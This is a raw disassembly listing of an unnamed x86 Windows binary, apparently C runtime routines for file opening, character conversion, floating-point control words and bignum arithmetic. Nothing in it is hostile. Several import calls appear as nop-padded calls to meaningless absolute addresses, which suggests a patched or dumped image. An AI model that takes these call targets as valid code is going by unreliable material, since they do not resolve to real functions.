sub_423936+16j push 4 push eax call sub_424E01 pop ecx mov dword_4DB5C8, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DC5E0, esi call sub_424E01 pop ecx mov dword_4DB5C8, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43CA18 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DB5C8 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43CC98 jl short loc_423990 xor edx, edx mov ecx, offset dword_43CA28 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DC600[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43CA88 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB2E8, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DB490 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DB5A0, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB2A8, 16h mov dword_4DB2AC, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB2B0 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB2AC, 0 mov dword_4DB2A8, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 27109BDh mov esi, eax cmp esi, edi jz short loc_423BFD push esi call near ptr 26207BBh nop test eax, eax jnz short loc_423C11 push esi nop call near ptr 26609B7h loc_423BFD: ; CODE XREF: sub_423A33+1B6j nop call near ptr 26807C8h push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DC600h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB2AC, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C50 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB498 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 2610000h test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE5C push esi push ebx call near ptr 26107A2h nop test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DB498, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DB364 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call near ptr 26107A2h nop jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DB374 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2840000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2840000h cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call near ptr 2610000h nop jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC700 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC600[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DB364, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43C534 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DB374 nop call near ptr 2831279h test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB2A8, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DB364, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C328 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43C534 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DB374 call near ptr 2840000h nop test eax, eax mov eax, dword_43C534 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB2A8, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DB374 nop call near ptr 2840000h test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- 